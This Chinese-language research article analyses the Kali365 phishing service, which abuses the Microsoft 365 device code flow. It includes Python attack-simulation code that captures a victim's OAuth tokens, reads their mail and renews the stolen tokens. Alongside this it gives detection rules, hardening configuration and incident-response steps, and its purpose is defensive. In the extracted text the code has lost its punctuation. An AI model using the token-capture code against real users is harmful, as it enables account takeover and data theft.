摘要2026 年 4 月出现的 Kali365 是面向 Microsoft 365 环境的专业化钓鱼即服务PhaaS平台依托 Telegram 渠道分销通过滥用 OAuth 2.0 设备码流Device Code Flow实现无密码、绕过多因素认证MFA的账户持久化接管。该平台内置 AI 钓鱼诱饵生成、自动化投放模板、实时监控面板与令牌捕获能力大幅降低攻击门槛使低技术攻击者可快速开展规模化钓鱼作业。Kali365 全程使用微软官方验证域名与合法授权流程无伪造站点、无恶意载荷传统邮件安全、终端检测与 MFA 机制均难以有效防御。本文以 FBI 预警与 Cyber Daily 最新威胁报告为核心依据系统解析 Kali365 的产业化运营模式、设备码流滥用机理、四步攻击链路与令牌劫持核心逻辑提供可复现的攻击模拟代码、Entra ID 条件访问配置、检测规则与闭环防御方案形成 “机理分析 — 行为提取 — 策略配置 — 检测响应” 的完整研究闭环。研究表明设备码流钓鱼的本质是授权流程劫持与信任滥用防御必须从协议管控、权限治理、令牌生命周期与行为审计多维协同构建零信任身份防护体系。反网络钓鱼技术专家芦笛指出PhaaS 已成为云身份威胁主流形态企业需将防御重心从识别钓鱼页面转向管控授权流程、审计令牌行为与限制高危认证流。1 引言随着 Microsoft 365 等云办公平台全面普及身份认证从账号密码体系转向 OAuth 2.0、OpenID Connect 等开放授权框架MFA 被广泛部署以抵御口令泄露与暴力破解。然而2026 年二季度出现的 Kali365 钓鱼即服务平台打破传统安全认知该工具无需窃取密码、无需绕过 MFA仅通过诱导用户完成官方设备码授权即可获取合法 OAuth 访问令牌与刷新令牌实现对 Outlook、Teams、OneDrive 等核心服务的持久控制。FBI 于 2026 年 5 月 21 日发布公开预警明确 Kali365 通过订阅制降低攻击门槛支持 AI 生成诱饵、自动化模板与实时追踪已形成规模化黑产运营能力。Arctic Wolf 威胁情报团队监测显示Kali365 基础设施持续扩张依托 Telegram 渠道快速发展代理威胁从高端黑产向低技术攻击者扩散。现有云身份安全研究多聚焦于传统钓鱼页面识别、口令防护与 MFA 加固对基于合法协议滥用的令牌钓鱼关注不足尤其缺乏对设备码流攻击链路、PhaaS 运营模式、可落地防御配置的系统性论述。本文以 Kali365 为典型案例严格遵循 OAuth 2.0 RFC 8628 标准与 Microsoft Entra ID 实现机制确保技术准确、逻辑严谨、论据可验证。文章采用客观学术表述不使用夸张修辞与口号式结论聚焦工程实践与安全架构为企业身份管理、安全运营与威胁狩猎提供理论支撑与可直接部署的方案。2 相关技术与威胁背景2.1 OAuth 2.0 设备码流Device Code Flow机制设备码流是 RFC 8628 定义的 OAuth 2.0 扩展授权模式专为无浏览器、输入受限设备如智能电视、IoT 终端、CLI 工具设计核心是将用户认证与授权行为转移至手机、PC 等交互设备完成。其标准流程为客户端申请设备码→用户访问官方验证 URI 并输入短码→完成认证与授权→客户端获取访问令牌access_token与刷新令牌refresh_token→凭令牌访问资源。Microsoft 365 将该流程集成于 Entra ID验证入口为microsoft.com/devicelogin等官方域名具备高可信度与用户认知基础。2.2 钓鱼即服务PhaaS产业化特征PhaaS 模式将钓鱼能力打包为订阅服务提供诱饵生成、投放、数据捕获全链路工具使攻击者无需开发能力即可发起攻击。Kali365 作为典型代表具备以下特征低门槛月付订阅即可使用无需编码与基础设施自动化AI 生成诱饵、模板化投放、实时面板监控高隐蔽使用官方协议与域名规避传统检测可扩展通过 Telegram 招募代理快速规模化。2.3 Microsoft 365 身份安全现状企业普遍部署 MFA、强密码、邮件网关等防护但对授权流程管控不足。设备码流默认允许普通用户授权权限申请宽松令牌生命周期长且授权过程对用户不透明为协议滥用型钓鱼提供可乘之机。反网络钓鱼技术专家芦笛强调云身份安全的核心风险已从密码泄露转向授权劫持传统边界防护无法抵御基于合法流程的攻击。3 Kali365 平台运营与攻击全链路解析3.1 平台运营模式Kali365 于 2026 年 4 月首次被发现通过 Telegram 渠道营销与分销采用纯订阅制运营订阅付费降低技术门槛支持快速代理招募功能集成AI 诱饵、自动化模板、实时追踪面板、OAuth 令牌捕获基础设施扩张持续部署新服务器与管理面板作业趋于成熟规模化传播模式非单一高级团伙运作而是商品化能力低技术攻击者可快速使用。3.2 四步标准攻击链路Kali365 不利用漏洞、不伪造站点仅通过社会工程诱导完成授权攻击流程高度标准化诱饵投放发送伪装成可信云服务的钓鱼邮件包含设备码与官方验证链接授权诱导用户访问微软官方验证页输入设备码并完成 MFA 认证令牌窃取攻击者获取合法 OAuth 令牌获得账户完整访问权限持久控制凭借 refresh_token 长期维持访问实现数据窃取、横向渗透。全程无恶意页面、无密码输入、无 MFA 绕过所有交互均为官方合法流程用户与安全设备难以识别。3.3 绕过 MFA 的核心机理传统 MFA 阻止攻击者以用户身份登录而 Kali365 的逻辑是用户主动为攻击者授权授权行为由用户本人完成已通过密码 MFA 验证攻击者仅接收授权后令牌不参与认证流程微软认证服务器判定为合法授权无异常标记。该机理彻底突破 MFA 防护边界证明仅靠 MFA 无法抵御授权劫持型攻击。4 攻击技术实现与可复现代码4.1 攻击模拟说明以下代码仅用于安全研究与防御测试严格遵循授权合规原则模拟 Kali365 核心设备码请求、令牌轮询与资源访问逻辑基于 Microsoft 身份平台标准接口实现。4.2 设备码申请与令牌获取代码import requestsimport timeclass Kali365Simulator:def __init__(self, client_id, tenant_idcommon):self.client_id client_idself.tenant_id tenant_idself.devicecode_url fhttps://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecodeself.token_url fhttps://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token# 高敏感权限组合覆盖邮件、文件、目录访问self.scope Mail.ReadWrite Files.Read.All Directory.Read.All offline_accessdef request_device_code(self):请求设备码返回官方验证信息payload {client_id: self.client_id, scope: self.scope}resp requests.post(self.devicecode_url, datapayload)return resp.json() if resp.status_code 200 else Nonedef poll_token(self, device_code, interval5):轮询获取令牌等待用户授权payload {client_id: self.client_id,grant_type: urn:ietf:params:oauth:grant-type:device_code,device_code: device_code}while True:resp requests.post(self.token_url, datapayload)result resp.json()if access_token in result:return resultif result.get(error) ! authorization_pending:raise Exception(f授权异常{result})time.sleep(interval)def access_mail(self, token):使用令牌访问邮件数据headers {Authorization: fBearer {token}}return requests.get(https://graph.microsoft.com/v1.0/me/messages, headersheaders).json()if __name__ __main__:CLIENT_ID your-registered-app-client-idphisher Kali365Simulator(CLIENT_ID)# 1. 获取设备码与官方验证地址device_info phisher.request_device_code()print(f[] 官方验证地址{device_info[verification_uri]})print(f[] 用户输入码{device_info[user_code]})# 2. 轮询等待授权获取令牌token_data phisher.poll_token(device_info[device_code])print(f[] 获取Access Token{token_data[access_token][:20]}...)print(f[] 获取Refresh Token{token_data[refresh_token][:20]}...)# 3. 访问用户邮件mail_resp phisher.access_mail(token_data[access_token])print(f[] 成功读取邮件总数{len(mail_resp.get(value, []))})4.3 令牌持久化续期代码攻击者通过 refresh_token 实现长期控制续期代码如下def refresh_token(client_id, refresh_token, tenant_idcommon):url fhttps://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/tokenpayload {client_id: client_id,grant_type: refresh_token,refresh_token: refresh_token}return requests.post(url, datapayload).json()# 续期调用new_token refresh_token(CLIENT_ID, token_data[refresh_token])print(f[] 续期成功新Access Token{new_token[access_token][:20]}...)4.4 攻击核心技术要点权限申请scope 包含 offline_access 以获取 refresh_token官方通道所有接口为微软官方域名无恶意特征无感知授权用户在官方页面操作无异常感知持久控制refresh_token 长期有效支持定期续期。5 威胁检测体系构建5.1 多维度行为特征提取Kali365 无静态恶意特征需基于行为检测身份层短时间内多设备码授权、非可信应用申请高权限、异常地理位置授权应用层授权后高频调用 Graph API、批量读取邮件 / 文件协议层大量 /devicecode 与 /token 接口请求、匿名 IP 段集中访问用户层非工作时间授权、单日多次设备码授权、异常权限同意。5.2 基于 Entra ID 日志的检测代码import jsondef detect_devicecode_anomaly(events, trusted_apps, malicious_ips):alerts []for evt in events:if evt.get(grantType) ! device_code:continueapp_id evt.get(clientId)ip evt.get(ipAddress)user evt.get(userPrincipalName)risk evt.get(riskLevel, none)# 规则1非可信应用发起设备码授权if app_id not in trusted_apps:alerts.append({user: user, type: untrusted_app_devicecode, risk: high})# 规则2恶意IP发起授权if ip in malicious_ips:alerts.append({user: user, type: malicious_ip_devicecode, risk: high})# 规则3高风险登录伴随设备码授权if risk high:alerts.append({user: user, type: high_risk_devicecode, risk: critical})return alerts# 测试示例test_events [{grantType: device_code,clientId: malicious-app-id,ipAddress: 1.2.3.4,userPrincipalName: usercompany.com,riskLevel: high}]trusted_apps [trusted-app-1, trusted-app-2]malicious_ips [1.2.3.4]print(json.dumps(detect_devicecode_anomaly(test_events, trusted_apps, malicious_ips), indent2))5.3 SIEM 关联规则企业可配置以下高频告警10 分钟内同一 IP 发起 5 次设备码请求单用户单日设备码授权 3 次非工作时间 / 异常国家授权授权后 5 分钟内调用高敏感 Graph API未验证应用申请 Mail、Files、Directory 权限组合。反网络钓鱼技术专家芦笛强调设备码钓鱼检测必须从特征匹配转向行为基线分析聚焦授权上下文、应用可信度与权限合理性。6 闭环防御体系与工程化配置6.1 防御总体框架构建四层闭环防御协议管控→权限治理→威胁检测→应急响应从根源阻断攻击路径。6.2 核心防御禁用 / 限制设备码流FBI 与微软均建议优先阻止设备码流以下为可直接部署的配置代码。PowerShell 配置Entra IDpowershell# 安装模块Install-Module Microsoft.Graph.Identity.SignIns -Force# 连接GraphConnect-MgGraph -Scopes Policy.ReadWrite.Authorization# 禁用租户级设备码流Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions {AllowedToUseDeviceCodeFlow $false}# 验证配置Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions条件访问策略推荐保留业务场景Entra 管理中心→条件访问→新建策略分配所有用户排除紧急访问账户目标资源所有云应用条件→身份验证流选择设备代码流授权阻止访问先启用仅报告模式验证再正式上线。6.3 权限治理与令牌管控限制用户自主注册应用禁止普通用户创建应用与服务主体高权限强制审批开启 Mail.ReadWrite、Files.Read.All 等权限的管理员审批缩短令牌生命周期减少 refresh_token 有效期强制定期重授权应用白名单仅允许可信应用使用设备码流。6.4 终端与用户侧加固启用抗钓鱼 MFA使用 FIDO2 安全密钥、Windows Hello 等物理认证流程规范明确官方验证场景禁止外部链接诱导输入设备码安全培训告知用户设备码授权等同于账户完全授权邮件网关拦截含microsoft.com/devicelogin与不明二维码的邮件。7 应急响应与取证处置7.1 处置流程紧急阻断禁用设备码流或启用条件访问策略令牌撤销批量撤销用户 OAuth 令牌终止攻击者会话应用清理删除恶意应用与服务主体清理非法授权日志审计分析授权日志、IP、权限、数据访问行为用户修复重置密码、重新配置 MFA、核查异常操作根因加固完善策略、检测规则与安全培训。7.2 应急处置代码powershell# 撤销用户所有令牌Revoke-MgUserSignInSession -UserId usercompany.com# 删除恶意应用Get-MgApplication -Filter AppId eq malicious-app-id | Remove-MgApplication# 导出授权清单Get-MgUserOauth2PermissionGrant -UserId usercompany.com | Export-Csv -Path Grants.csv -Encoding UTF87.3 取证要点设备码授权日志时间、用户、应用 ID、IP、权限范围令牌使用日志access_token/refresh_token 调用记录应用注册信息恶意应用创建者、注册时间、权限配置诱饵路径邮件 / IM 诱饵内容、投放渠道、目标范围数据访问日志异常读取、下载、导出行为记录。8 结论与展望Kali365 作为 PhaaS 模式下的专业化钓鱼平台通过 OAuth 2.0 设备码流滥用实现无密码、过 MFA、高隐蔽的 Microsoft 365 账户劫持标志着云身份钓鱼进入授权劫持新阶段。该攻击不利用漏洞、不伪造站点、不触发传统告警依托官方协议与社会工程形成 “低门槛、高收益、强隐蔽” 的黑产闭环对企业身份安全构成系统性威胁。本文通过完整还原攻击链路、解析协议机理、提供可复现代码与防御配置证实此类攻击的核心是授权流程劫持与信任滥用防御必须从 “防欺骗” 转向 “管授权、管令牌、管流程”。研究表明最有效的防御手段是禁用非必要设备码流配合条件访问、权限审批、行为检测形成纵深防御体系。反网络钓鱼技术专家芦笛指出随着 PhaaS 威胁持续扩散企业需加快构建零信任身份架构强化授权可见性、令牌全生命周期管理与上下文风险校验实现从被动防护到主动防御的转型。未来研究方向包括 AI 驱动的授权行为异常检测、跨云平台统一授权管控、协议级安全增强等本文结论可为 Microsoft 365、Google Workspace 等云平台身份安全建设提供通用理论与工程实践参考。编辑芦笛公共互联网反网络钓鱼工作组